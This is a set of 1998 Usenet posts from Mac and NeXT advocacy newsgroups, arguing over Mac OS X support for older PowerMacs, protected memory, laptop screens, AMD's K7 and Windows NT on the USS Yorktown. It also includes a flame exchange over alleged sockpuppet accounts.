Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-2207981848260001@elk81.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <6ol3nq$14g$1@vixen.cso.uiuc.edu> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <bux-2007981300570001@dial-tulip-20.bway.net> <Josh.McKee-2107981853200001@pm3a15.rmac.net> <joe.ragosta-2207980951060001@wil116.dol.net> <slrn6rcoar.c9t.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
In article <slrn6rcoar.c9t.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
mbkennel <replace this with '@'> yahoo.com wrote:
> On Wed, 22 Jul 1998 09:51:05 -0400, Joe Ragosta <joe.ragosta@dol.net> wrote:
> :> Rhapsody has not been renamed "OS X Server" and it runs
> :> on this equipment. Why can't "OS X end user"?
> :
> :Because Mac OS X client has Carbon and Mac OS X server doesn't.
> :
> :Or becuase the driver architecture has changed?
> :
> :Or because the graphics architecture has changed?
>
> Or because the kernel has changed with a significant architectural revision?
Right. I forgot that one.
BTW, please be careful in trimming the posts. The way you trimmed it, it
looks (at first glance), like I was the one who asked the above question.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz>
Message-ID: <35b6568f.0@news.depaul.edu>
Date: 22 Jul 98 21:15:59 GMT
In comp.sys.next.advocacy Martin Cox <mcox@ihug.co.nz> wrote:
> In article <not-2207981037460001@ip-26-093.phx.primenet.com>,
> not@a.valid.email.add (Michael M. Eilers) wrote:
> >But you can't make such an extimation--no one can. Not even Apple really
> >knows how long it would take them to troubleshoot and debug even a small
> >set of the existing PCI Mac hardware. I'm willing to bet it would be more
> >like 6-8 than 3 to 4, at the very least.
> It wasn't an estimation - it was a statement of how long I personally would
> be willing to wait. If it takes a year, then I personally wouldn't wait
> that long. You're right in that I have no idea how long it would take,
> though like many others I genuinely can't see that it would be a _huge_
> undertaking. After all, it's _not_ like Windows - Apple _knows_ all the
> specs of _all_ its own motherboard designs, unlike MS where they have to
> guess at countless clone makeups.
Clone motherboards really don't vary all that much. Intel OS's are
probably less sensitive to the motherboard than MacOS. This is
demonstrated by how I switched from an Intel-chipset motherboard
with an Intel CPU, to a newer motherboard with a non-Intel chipset,
an AMD CPU, and more features (USB, etc). Neither OpenStep
nor NT blinked at the change, despite the significant differences.
I can pretty much guarantee that OpenStep wasn't tested with
this motherboard.
<snip>
> Again, Apple _owes_ us nothing. But extending OS X to PCI PowerMacs would
> be a large marketing coup, and a great boost to Apple's customer loyalty
> base.
What exactly are you loyal to? Apple seems to have a lot of 'loyal'
customers who will do *anything* to avoid buying Apple's products.
Basically your argument is that these people, who aren't willing to
buy new Macs, won't buy new Macs if Apple doesn't play along. But
if Apple does play along, they still won't buy Macs. Not exactly
a win-win situation, is it?
--
"... and subpoenas for all." - Ken Starr
From: Kari L Beischer <kari@gti.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 23 Jul 1998 00:01:49 GMT
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <6p5uhd$1ji$1@supernews.com>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <joe.ragosta-2207981217170001@wil79.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <6p50k6$b1o$2@lwnws01.ne.highway1.com>, jkheit@mediaone.net
wrote:
>> Jeez, if by next year the best they can do is release a consumer
>> portable with *only* a 9" screen, they deserve what they can
>> get. There's no excuse today to release anything but an XGA
>> screen. 12" XGA screens at a minimum.
I don't know, but I get the idea that John said _*ONLY*_ a 9"
screen. I don't know what you are thinking Joe, does your response
infer that Apple should only release a 9" screen?... Jeesh... a
very limiting thought, yet John MIGHT possibly be inferring that
they should do more... Interesting reaction there, I mean for
someone who exploits that Apple is deific.
> No kidding? Then I must be imagining all these new laptops with
> 7-10" screens being bandied about.
IMHO the best thing that I can think of to do with a 7-10" screened
laptop is to bandy it about! Unless you have a docking station with
a monitor that has some real estate to it. But then again, why
get the lap top.
My Toshiba730CDT has an 11" screen (I do mainframe software UNIX
development/support), and it is too small to do any real good. I
have to keep an extra monitor about for long term telecommuting.
> Keep in mind that the new laptops are not necessarily meant to
> do the same things as the "pro" laptops. They may be more like
> WinCE devices. Until you know what they're trying to do with
> them, how can you criticize them for a given screen size?
Obviously if we alter the varibles of a given situation, it is
probable that the opinions may in truth change... amazing. Joe
it's obvious that you just want to banter with John....jeesh.
> Oh, I forgot. Everything Apple does is wrong by default.
Preponderantly John prefers his NeXT, you revere Apple. And in
retrospect, John has criticized Jobs management and marketing at
NeXT, as well as Apple's past and present performance. I don't
think you can viably say, given history, that John defaults to
Apple being wrong. I think he has done his best to show you the
other side of the coin, and you have repeatedly and fanatically
chosen not to listen, as well as, melodramatically over react.
Limiting yourself and others from a very interesting and intellectual
debate of genuine issues.
IMHO, I think Jobs could have engineered a much larger NeXT community
with the right marketing strategies, timing and pricing, but I
think he let his products and people down... do I think he'll
change?.. I am not holding my breath.
--
Thanks, Kari Beischer
____________________________________________________________________
AT&T ASCII, MIME, PGP, SUN, & NeXTmail OK
Systems mailto:kari@gti.net
Development to want is natural, to need is negotiable...
____________________________________________________________________
Opinions expressed are mine, not those of my employer...
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: MIT's Negroponte abandons Mac
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <9Ibt1.6028$7k7.7216735@news.rdc1.sdca.home.com> <6p4f85$h15$1@news.tuwien.ac.at>
<6p4qqf$jvu$1@nnrp02.primenet.com> <6p4tpk$q56$1@news.tuwien.ac.at>
<6p50pt$4et$1@nnrp03.primenet.com> <6p5e0j$1tl$2@msunews.cl.msu.edu>
Message-ID: <v6vt1.6070$7k7.7862518@news.rdc1.sdca.home.com>
Date: Thu, 23 Jul 1998 00:04:43 GMT
NNTP-Posting-Date: Wed, 22 Jul 1998 17:04:43 PDT
Organization: @Home Network
In <6p5e0j$1tl$2@msunews.cl.msu.edu> spammers@ruin.the.internet.channelu.com
wrote:
> > I think the current product generation of the Mac is based on the old
> > Pascal toolbox, and the next (Carbon) as well. I haven't seen the
> article
> > yet, but perhaps Negroponte's frustration lies in the advanced stuff
> being
> > two generations out?
> >
>
> You mean cool stuff for MacOS legacy rather than MacOS X Server with
> YB, WO, EOF, BlueBox, Mach, etc. in the next few months (we hope)
> that will run on PPC and PC compatibles..
>
> I personally think he is right MacOS legacy programming tools/stuff
> are extremely old. And I don't think Carbon is extremely exciting
> except
> in a legacy code sense (which is understandably important).
>
> Seems like the guy missed the boat on YB,
YellowBox? Which Steve Jobs publically admits is unsupported for the buying
populace? Its Carbon or Java, now.
> Obj-C/C++,
Superceded languages my friends...
> Mach, POSIX,
Nothing new here...
> BSD,
Right, shipped without a command line interface. That'll get Negroponte
excited!
> WO, EOF, JAVA, etc.
Cool for geeks maybe. The stuff is beyond the reach of mere mortals lacking
easy to use toolsets and frameworks. Java is important only as a MacPortal
into the RealWorld.
> Or maybe Apple isn't pushing the message
> (sigh). All this 'save the Mac Faithful frenzy' is loosing the most
> critical message about what may be the best technology on the
> planet.
>
> Apple definately has excellent technology.
Have you used this stuff? They haven't put most of this stuff on the market
in usable form yet. Remember BetaMax? Technology buys Apple very little if
it doesn't let mere mortals affordable, easy to use access.
> But what they make up
> for in technology they seem to be lacking in common - business sense.
> (i.e. expand markets, rather than strictly guard shrinking ones).
>
>
Let's just say Apple lost Leadership clout with their own developers. The
rest, as they say, is History.
-r
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Date: 23 Jul 1998 00:17:58 GMT
Organization: University of Maryland, College Park
Message-ID: <6p5vfm$mo1$1@hecate.umd.edu>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net> <6p51vm$k5l$1@hecate.umd.edu> <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net>
Joe Ragosta (joe.ragosta@dol.net) wrote:
: gmgraves@slip.net (George Graves) wrote:
: > davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
: >
: > > K7 is supposed to be very fast on X86 code, and by going to Slot A, AMD
: > > will probably try to market it as a server part, although I now think that
: > > AMD has made a mistake wrt to K7.
: >
: > I just read that AMD has licence to use Motorola's copper technology, and
: > will be incorporating it into K7. The same article says that the K7 will
: > be able to provide a 1Gig clock speed. Pretty fast. The same article says
: Does anyone know what socket the K7 will use?
K7 will use slot A. Mechanically identical to Slot 1, the electrical
signals use Alpha's 21264 bus protocol. The idea is that Alpha and K7 can
share the same motherboard, if you choose. (swap out K7, plug in 21264,
or vice versa) AMD wants to get a high performace bus at the lowest
cost. By sharing electrical bus with Alpha, some of the bus protocol
development cost may be defrayed. By use the same physical slot 1 cartridge.
AMD can just buy the cartridge from suppliers at costs only slightly more
than what Intel would pay. (volume) So AMD saves money there too.
Still, my guess is that Slot A motherboards will be expensive, and AMD
will now try to push K7 in the workstation market, where Intel is positioning
Xeon. The wild card here is how cheap AMD can get slot A motherobards here..
It'll be interesting.
: > that both Motorola and IBM are losing interest in PPC for desktop PCs
: > now that Apple is their only customer. The article quotes a Motorola
: > spokesperson as saying that the PPC for desktop computers is not
: > Moto's focus.
: Sure. Just like they've been saying for years.
Maybe Motorola is still stung from the $100 Million MCG debacle.
: --
: Regards,
: Joe Ragosta
: See the Complete Macintosh Advocacy Page
: http://www.dol.net/~Ragosta/complmac.htm
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Wed, 22 Jul 1998 19:25:45 -0500
Organization: Prairie Group
Message-ID: <MPG.10203f07d39d48329899df@news.supernews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <MPG.101edc88c6da7b4a9899d6@news.supernews.com> <6p39n6$654$1@lwnws01.ne.highway1.com> <MPG.101f2ac1586559089899d9@news.supernews.com> <6p3ujp$jg8$1@lwnws01.ne.highway1.com>
In article <6p3ujp$jg8$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net
says...
> don.brown@cesoft.com (Donald Brown) wrote:
> > In article <6p39n6$654$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> > says...
> > > don.brown@cesoft.com (Donald Brown) wrote:
> > > > Would it be better if that weakness wasn't there? Absolutely.
> > > > But that doesn't make the OS unacceptable.
> > >
> > >
> > > Billions and billions of people across the globe have their
> > > human rights consistently and severly violated. The fact that
> > > it continues to occur does not mean it's acceptable. The same
> > > for all the lameness in the macOS,
> > et al.
> >
> > Human Rights violated. No Protected Memory. Yup, exactly the
> > same.
>
> You must be a lame OOP programmer to have difficult with systems when they
> actually work in orthogonal ways.
Ah, the ad hominem arguement. Always effective.
> > Operating systems without protected memory run. They can run
> > multiple applications. Very productive work can be performed on
> > them. It works. It usually works very well. Millions of people
> > are finding the computers running these PM-less OSes to be valuable
> > tools.
> >
> > IMHO, that makes it quite acceptable. Not perfect, but acceptable.
>
> Your method of foot massage must differ from mine. Yea, many people live in
> those countries. They even have happy moments, and birthdays. Their lives
> are not constantly miserable. But enough crud is there to make it
> unacceptable in principle. Sure, in practice there are lots of human rights
> violations and problems throughout the world. In practice you can't deny
> that it has become de facto acceptable. But de jure, the UN and all the
> nations of the world find it unacceptable in principle. There is an
> orthogonal principle that I think applies here to the OS world. Your snippy
> comment suggests that your mileage varies.
Person A running application with PM. It works. Person B running
application with PM. Except on rare conditions, it works. When it
doesn't work, Person B reboots and is back where he was.
Person A living in a free society. Lives his life, is able to speak his
mind, is happy. Person B living under tyrannical rule with torture.
Person B never has the options of Person A. If Person B goes beyond the
bounds, he is killed or maimed or locked up for life. Person B never
gets back to living his life.
Person DB, realizing he just spent several minutes responding to this
idiotic arguement, wonders if this will make any impression.
> > If you don't think it's acceptable to you, then you should make
> > your choices accordingly. Please don't assume that view is
> > universal. It ain't.
>
> I suggest that you take your own advice.
If you'd said "I find an OS without protected memory unacceptable for me
and won't use one," I'd have said "Great! Use what meets your needs."
(Actually, I probably wouldn't have posted at all because I wouldn't have
to talk you out of your view.)
When you said "It's unacceptable" I at least presumed you meant it was
unacceptable for anyone to use such an OS. If I misunderstood you, if
you only meant that you will not use such an OS, I apologize and withdraw
my statements. Is that what you meant?
Donald
From: gwangung@u.washington.edu (R. Tang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 22 Jul 1998 22:34:06 GMT
Organization: University of Washington, Seattle
Message-ID: <6p5pcu$m64$1@nntp6.u.washington.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6p3skj$a7i$1@nnrp1.dejanews.com> <6p528j$1158$1@nntp6.u.washington.edu> <6p5gik$ffj$1@nnrp1.dejanews.com>
NNTP-Posting-User: gwangung
In article <6p5gik$ffj$1@nnrp1.dejanews.com>, <quinlan@intergate.bc.ca> wrote:
>In article <6p528j$1158$1@nntp6.u.washington.edu>,
> gwangung@u.washington.edu (R. Tang) wrote:
>
>> You made the claim; you should support it.
>
>Very true. I was simply saying that supporting it is difficult because Apple
>has removed the Copland information from their web site.
OK. (You simply wouldn't believe how common it is on Usenet for
someone to make a claim and then say that it's the OPPONENT'S
responsibility to find the references.....)
>> This is very weak evidence and can only be seen as support for
>> your statement under a lot of very generous assumptions.
>
>This isn't a court of law. How do you interpret these statements?
I find it evidence that it COULD support more advanced OSs, but
that these are generic potentials, with nothing specific for them.
>> Memory is a funny thing; people tend to reshape memories according
>> to prejudices.
>
>I'm not sure what my prejudice would be in this case. Wanting my machine to be
>supported?
QUite possibly....
--
-Roger Tang, gwangung@u.washington.edu, Artistic Director PC Theatre
- Editor, Asian American Theatre Revue [NEW URL]
- http://www.abcflash.com/arts/r_tang/AATR.html
-Declared 4-F in the War Between the Sexes
From: Macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,,comp.os.ms-windows.advocacy
Subject: Re: Hey Mr sullivan
Date: Wed, 22 Jul 1998 16:39:37 -0700
Organization: EarthLink Network, Inc.
Message-ID: <Macghod-2207981639380001@sdn-ar-001casbarp101.dialsprint.net>
References: <Macghod-2207981234390001@sdn-ar-001casbarp119.dialsprint.net> <35B65C47.CD961FEA@rauland.com>
In article <35B65C47.CD961FEA@rauland.com>, "Edwin E. Thorne"
<edwin.thorne@rauland.com> wrote:
> Steve Sullivan wrote:
> >
> > Where is your good buddy Anton/ Macsbug/(you?)? I havent seen a post by
> > him in several days.
>
> They don't post in this NG anymore. Do a Deja News search if you're
> curious, Macghod/NextNewbie/Steve Sullivan. You didn't see my posts
> from yesterday either.
>
> > After it was shown that you and he both posted within 2 minutes of each
> > other from the same ip, you claimed it was because you were at your friend
> > "macsbug"'s house, implying that anton is Macsbug, yet when I went back
> > through dejanews this macsbug guy (macsbug@hotmail.com, who also posted
> > from Edwin's isp) signed his name as Edwin?? How do you explain this?
>
> I explained that I posted messages from Macsbug's house. Naturally I
> signed my name to them. What's so hard to understand? I neither
> stated nor implied that Macsbug is Anton. How do you know that Macsbug
> is a guy, BTW?
On several occasions (more than once) you and "anton" posted from the same
ip WITHIN 2 to 3 minutes of each other.
> >
> > How does it make you feel that even your idol Joe Ragosta is laughing at
> > how you claim "anton" is a different person, even tho the both of you have
> > posted from the exact same ip, just 1 or 2 minutes apart, on *SEVERAL*
> > occasions? Having your idol make fun of you must of REALLY hurt your
> > feelings.
>
> I respect Joe Ragosta, but he is not my "idol." I didn't feel that he
> was laughing at me, but so what if he is? Everyone is laughing at you,
> and that doesn't bother you.
Really? The only one I see laughing at me is some guy named Edwin THorne,
who makes up new accounts all over the place to post flamebait, and even
when he is busted still tries to deny he did it.
> > Ya know, you are making us mac users look REALLY REALLY REALLY pathetic,
> > so how about you stop this crap?
>
> ROTFLMAO. That's really funny coming from Macghod/NextNewbie/Steve
> Sullivan.
Really? Coming from you thats about as worthless as something coming from
Fnarky.
> > Or, if you really must persist with your shenanigans, at least dump your
> > current 2 isp's and start posting from a third dial up isp, and dont use
> > your real name.
>
> I not doing any "shenanigans" to persist with. Why don't you take your
> "shenanigans" elsewhere?
Thats so good coming from you who post flamebait from "anton", which
people find has posted from the same ip WITHIN minutes of your posts, ON
NUMEROUS occasions.
> > And in the future, if you want to use a different account to post
> > flamebait, at least make sure you dont post from the same ip that you just
> > posted a message a couple of minutes ago from your real account.
>
> Neither Anton nor Macsbug posted "flamebait." I guess anyone who gets
> the IP address after I release it is me from now on? Why don't you
> email all of them and ask them to stop their "shenanigans?"
Oh please, how stupid do you think people are? The SAME PERSON, on
NUMEROUS occasions, who posts to the SAME newsgroups as you, who starts
forwarding the same kind of mac evangelist/ mac marines articles that you
had just stopped posting because people complained, and in a post you BOTH
mentioned reading the same amiga magazine, amiga format (please, how many
people read a AMIGA magazine), this message was in the same thread btw,
PLUS on several occasions "anton" and you posted from the same ip within 1
or 2 minutes of each other.
> > Oh ps, since you implied anton was macsbug, what is "macsbug's" chicagonet
> > email address? Hotmail isnt a dial up isp, and it showed him as calling
> > from chicagonet. Oh, lemme guess, "macsbug"s email address is really
> > edwin_thorne@chicagonet.net (or whatever your email address is)
>
> YOU said that Macsbug is Anton. I never said or implied anything of the
> kind. It's not up to me to reveal Macsbug's real Email address, so
> guess again.
DOnt worry, like people are really dumb enough to think that the same two
people, on NUMEROUS occasions in the short week or two period that Anton
posted, can post from the same ip within minutes from each other.
Yeah, yeah, I know, its all just a big coincidence, and I am so stupid for
thinking that you and "anton" are the same person. Well I will just add
you back to my killfile so you dont have to read my "dumb" posts
--
Joe [Ragosta], do not look directly at the RDF. What you want
to do is punch a hole in a piece of cardboard and
make a pin-hole camera to observe the RDF from a safe distance.
- Sal Denaro
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 22 Jul 98 18:16:31 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1DBDD02-DFC5@206.165.43.118>
References: <MPG.101f2d847d70bf3c9899dc@news.supernews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
Donald Brown <don.brown@cesoft.com> said:
Lawson English <english@primenet.com> said:
>> Betcha that even if 1 million of us said that we were willing to pay $50
>> more, that Apple would still say "no" to a pre-G3 version of MacOS X
>> because it's not about expenses, but about control.
>
>Will you add a statement that you are willing to wait one year after the
>G3 version is released?
Yep, if need be, although I don't see why I would have to if it is merely a
matter of testing. Testing of all versions can be done concurrently, given
enough manpower. *MOdifications* and debugging of the OS for other
platforms might bring in Mythical Man-Month issues, but testing itself
should scale pretty darned close to the ideal for orthagonal tasks, and
that would likely be the single most time-consuming task facing Apple if
they elected to support pre-G3 systems.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Hey Mr thorne
Date: Wed, 22 Jul 1998 20:45:03 -0500
Organization: Prairie Group
Message-ID: <MPG.1020519d12f527a29899e6@news.supernews.com>
References: <Macghod-2207981234390001@sdn-ar-001casbarp119.dialsprint.net>
In article <Macghod-2207981234390001@sdn-ar-
001casbarp119.dialsprint.net>, Macghod@concentric.net says...
> Where is your good buddy Anton/ Macsbug/(you?)? I havent seen a post by
> him in several days.
>
> After it was shown that you and he both posted within 2 minutes of each
> other from the same ip, you claimed it was because you were at your friend
> "macsbug"'s house, implying that anton is Macsbug, yet when I went back
> through dejanews this macsbug guy (macsbug@hotmail.com, who also posted
> from Edwin's isp) signed his name as Edwin?? How do you explain this?
>
I withdraw my apology from the Warez thread. If you're going to go so
psycho about Edwin's use of another name, using one yourself is extreme
hypocracy.
Donald
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 22 Jul 98 19:08:27 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1DBE931-3BCBE@206.165.43.118>
References: <joe.ragosta-2207982122200001@elk62.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
Joe Ragosta <joe.ragosta@dol.net> said:
>And that's _exactly_ the problem. In case you hadn't noticed, Apple
>doesn't have unlimited manpower.
But if a million of us indicated taht we'd be willing to pay $50 more each,
Apple would certainly have the manpower in short order if they wanted that
$50 extra ON TOP OF the normal income from MacOS X sales.
In fact, I'm guessing that more 604e customers would be willing to buy
MacOS X than G3 customers because the G3 sales were towards consumers, but
early 604/604e sales were all towards professionals.
Anyone Mac developer who wanted to develop for Rhapsody HAD to purchase a
604e machine -the G3 machines STILL are not supported all that well, or at
least not the laptops.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: eMac UI (was Re: Mac OS X UI)
Message-ID: <1998072302162200.WAA25840@ladder03.news.aol.com>
Date: 23 Jul 1998 02:16:22 GMT
Organization: AOL http://www.aol.com
References: <joe.ragosta-2207982118210001@elk62.dol.net>
as regards the presumed eMac with 9" screen...
Of course, this is an excellent continuation of the previous topic, which is
taking an excellent, elegant and consistent UI, and encrusting it with the
requirements of the Mac user experience, regardless of the merit, or lack
thereof of such changes.
Apple has an interface suited for a 9" b/w screen used with mouse and keyboard
(originally without arrow keys).
Apple also had an interface which was excellent for 17"+ screens, and could've
been adapted to slightly smaller ones without sacrificing much more than icon
detail.
Apple had an interface which was ideal for small, portable computers with touch
screens or styluses, the Newton UI.
Apple would've done much better, marketing considerations aside to've made the
latter two work together in some fashion.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 22 Jul 1998 20:03:31 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p5gik$ffj$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6p2uf0$a3m$1@nnrp1.dejanews.com> <6p30ts$r04$1@nntp6.u.washington.edu> <6p3skj$a7i$1@nnrp1.dejanews.com> <6p528j$1158$1@nntp6.u.washington.edu>
In article <6p528j$1158$1@nntp6.u.washington.edu>,
gwangung@u.washington.edu (R. Tang) wrote:
> You made the claim; you should support it.
Very true. I was simply saying that supporting it is difficult because Apple
has removed the Copland information from their web site.
> This is very weak evidence and can only be seen as support for
> your statement under a lot of very generous assumptions.
This isn't a court of law. How do you interpret these statements?
> Memory is a funny thing; people tend to reshape memories according
> to prejudices.
I'm not sure what my prejudice would be in this case. Wanting my machine to be
supported?
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: "Phil Brewster" <pjbrew@nospam.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: NT Takes Down the Navy, Sleep Well, America...
Date: 22 Jul 98 21:16:28 -0600
Organization: ICGNetcom
Message-ID: <B1DC0731-590F9@204.31.112.228>
References: <joe.ragosta-2207980843230001@wil103.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://nntp.ix.netcom.com/comp.sys.next.advocacy
On Wed, Jul 22, 1998 6:43 AM, Joe Ragosta <mailto:joe.ragosta@dol.net>
wrote:
>In article <1dcj03r.j9ies11bazb62N@p043.intchg1.net.ubc.ca>,
>bbennett@unixg.ubc.ca (Bruce Bennett) wrote:
>
>> Mark Micklich <SRFPCI1@pacbell.net> wrote, among other things:
>>
>> > The problem is not NT -- it's poor engineering design. I'm not
defending
>> > NT, but if MacOS was used, the exact same situation could have
happened
>and
>> > JoeR would immediately jump in with the same defense I just described.
>If
>> > you don't have complete exception-handling, crashes will happen.
There
>are
>> > many stories of this nature, and many of them have nothing to do with
>NT.
>>
>> The idea of mission-critical USN stuff running on, say, Mac OS 8.1 is
>> amusing, to put it mildly! There are obvious reasons why that would, um,
>> not be done.
>
>Exactly. And I wouldn't recommend it. If anyone used Mac OS to run a
>battleship, I'd call them morons, too. Mac OS was never designed for
>mission critical applications. It was never promoted that way, either.
>Unlike WinNT which has been promoted all over the place for this type of
>application.
>
>>
>> But not only Mac-heads are pointing the finger at NT in this instance.
>> Later in the article cited, we read
>>
>> Ron Redman, deputy technical director of the Fleet
>> Introduction Division of the Aegis Program Executive Office,
>> said there have been numerous software failures associated
>> with NT aboard the Yorktown.
>>
>> [...]
>>
>> "Because of politics, some things are being forced on us
>> that without political pressure we might not do, like
>> Windows NT," Redman said. "If it were up to me I probably
>> would not have used Windows NT in this particular
>> application. If we used Unix, we would have a system that
>> has less of a tendency to go down."
>>
>> Who knows? The fellow may just have a point. ;^)
>
>--
>Regards,
>Joe Ragosta
>http://www.dol.net/~Ragosta/complmac.htm
>
Did anyone else catch the, er, 'poetic justice' of Apple's announcement
yesterday that they had gotten the DoD contract for the military's
healthcare system using WebObjects?
http://biz.yahoo.com/prnews/980721/ca_aapl_we_1.html
It's a bit macabre to think that healthcare administration apps will run
more reliably than battleship controller systems, but anyway.....
(Where's Joseph Heller when you need him?....)
Cheers,
--------
Phil Brewster (pjbrew at ix dot netcom dot com)
"First they ignore you, then they laugh at you, then they fight you, then
you win."
-- M. Gandhi
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
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From: mcox@ihug.co.nz (Martin Cox)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 23 Jul 1998 18:29:10 +1200
Organization: As little as possible.
Message-ID: <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz>
